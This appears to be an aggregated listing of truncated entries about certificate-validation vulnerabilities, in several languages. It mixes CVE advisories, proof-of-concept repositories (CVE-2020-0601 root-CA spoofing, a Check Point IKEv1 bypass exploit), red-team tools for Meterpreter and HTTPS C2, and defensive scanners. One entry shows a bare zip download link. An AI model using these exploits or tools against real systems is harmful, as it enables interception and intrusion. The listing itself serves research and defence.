TWSL2011-007_iOS_code_workaround

= testcert Reference implementation for TWSL2011-007 vulnerability workaround aka CVE-2011-0228. Author: Eric Monti Date: July 28, 2011 = Compiling Compile with your Apple iOS SDK CFLAGS along with: gcc -o testcert testcert.m -framework Foundation -framework Security The compile arguments above...

CVE-2025-50944

CVE-2025-50944 EagleEyes Lite Android アプリケーションにおける不適切な証明書チェーン検証 1. 概要 名前 : EagleEyesLite バージョン : 2.0.0 ベンダー : AVTECH CWE : CWE-295: 不適切な証明書検証 CVSS : 8.8 高 ベクター文字列 : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 2. 要約 EagleEyes Lite バージョン 2.0.0 は、HTTPS通信中にSSL/TLSサーバー証明書を適切に検証できません。...

gringotts

CVE-2020-0601 proof of concept A fun proof of concept to create your own root CA and signed certificate based on the CVE-2020-0601 vulnerability in Windows 10. The basis for the issue is the CertGetCertificateChain method improperly validated root certificate authorities. Since the search for a...

CVE-2026-50751---Check-Point-IKEv1-Authentication-Bypass-Exploit

CVE-2026-50751 - Check Point IKEv1 Authentication Bypass Exploit ⚠️ IMPORTANT WARNING This code is ONLY for educational purposes and authorized security testing. Unauthorized use against systems without explicit permission is ILLEGAL. The author is not responsible for the misuse of this tool. 📋...

qark

Quick Android Review Kit This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs. The tool is also capable of creating "Proof-of-Concept" deployable APKs and/or ADB commands, capable of exploiting many of the...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424: 1Panel RCE Scanner and Safe Testing Toolkit for Labs CVE-2025-54424 is a vulnerability related to 1Panel, involving client certificate bypass that may lead to remote code execution. This reposito...

cve-2026-29145

CVE-2026-29145 — 即使禁用软失败，OCSP 检查有时仍会软失败 发现者： gregk4sec https://github.com/gregk4sec/cve 发现日期： 2026-02-26 受影响厂商： Apache 受影响产品： Tomcat 严重性： 9.1 严重 CWE： CWE-287 身份验证不当 状态： 审核中 / 已修复 / 私有 / 公开 ✅ 摘要 当禁用软失败时，CLIENTCERT 身份验证在某些场景下未按预期使 OCSP 检查失败。 技术分析 参见：analysis.md 复现步骤 1. 环境搭建 2. 触发条件 3. 预期行为与实际行为 4...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

badecparams

BADECPARAMS 针对 CVE-2020-0601 的概念验证。 badecparams.py 生成一个利用该漏洞的中间证书颁发机构， 然后签发 Authenticode 和 TLS 证书。这些 TLS 证书在 Microsoft Edge 和 Internet Explorer 中具有扩展验证。 httpd.py 通过 HTTPS 提供 www 子文件夹中的内容， 使用命令行中提供的 PEM 编码证书链。 root@kitploit: ./badecparams.py ./httpd.py localhost.key 受影响软件 Windows Update...

Meterpreter_Paranoid_Mode-SSL

MeterpreterParanoidMode v1.4 - SSL/TLS 连接 root@kitploit: 版本发布：v1.4（稳定版） 作者：pedro ubuntu r00t-3xp10it 支持发行版：Linux Kali、Mint、Ubuntu Suspicious-Shell-Activity SSA RedTeam 开发 @2017 描述： root@kitploit: MeterpreterParanoidMode.sh 允许用户通过让 Meterpreter 检查其连接的处理器的证书，来保护 Meterpreter...

sslyze

Note Current development of SSLyze now takes place on a separate repository: https://github.com/nabla-c0d3/sslyze. This repository will periodically be updated from this new parent repository, but for the most current version, please check the new repo. If you cloned the repository but wish to...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

Invoke-SelfSignedWebRequest

Invoke-SelfSignedWebRequest 情報セキュリティ業務では、HTTPS を C2 や標的ネットワーク内での移動手段として利用することは非常に便利なメカニズムです。さらに PowerShell は、オペレーターが動的な結果を達成するのに役立つ驚くべき生産性ツールです。当然の次の結論は、C2 チャネル HTTPS とエフェクトジェネレーター PowerShell を組み合わせることです。自己署名証明書をすぐに生成すれば、すべて順調に進むはずですよね？ 残念ながら、Microsoft そして拡張的には PowerShell は、検証できない証明書で保護された SSL...

crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application

A flaw was found in the crypto/x509 package within Go golang. When verifying a certificate chain, excluded DNS Domain Name System constraints are not correctly applied to wildcard DNS Subject Alternative Names SANs if the case of the SAN differs from the constraint. This oversight could allow an...

Important: Red Hat Security Advisory: go-fdo-client security update

An update for go-fdo-client is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

wolfSSL CA-cache hit overrides callback

With the wolfSSL backend, when CA caching is enabled and an CURLOPTSSLCTXFUNCTION callback replaces the trust store, libcurl can silently reinstall the cached store after the callback returns. A certificate trusted by the cached store but rejected by the callback-selected store is then incorrectl...

CVE-2026-67598

CVE-2026-67598 Emlog Pro — Validación de certificados TLS deshabilitada en el asistente de IA MITM adyacente a la red → robo de clave de API del proveedor de LLM e inyección de respuestas de IA...

CVE-2026-20127-Exploit-Extension

Executive Summary The CVE-2026-20127 Defensive Companion is a premier, enterprise-grade Browser Extension engineered for proactive threat intelligence and defensive analysis. This tool encapsulates authoritative technical research concerning the authentication bypass vulnerability in the Cisco...

CVE-2025-65753

CVE-2025-65753 Proof of concept for CVE-2025-65753: Remote code execution on the Gryphon Guardian access point, firmware version 01.06.0006.22, through an improper TLS certificate validation. Description The Gryphon Guardian WiFi access point, with firmware version 01.06.0006.22, does not properl...

CVE-2026-82662

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js via rejectUnauthorized: false. This allows an attacker in a machine-in-the-middle position to intercept OAuth2 token requests over compromised HTTPS connections, capturing OAuth client secrets , refresh tokens , a...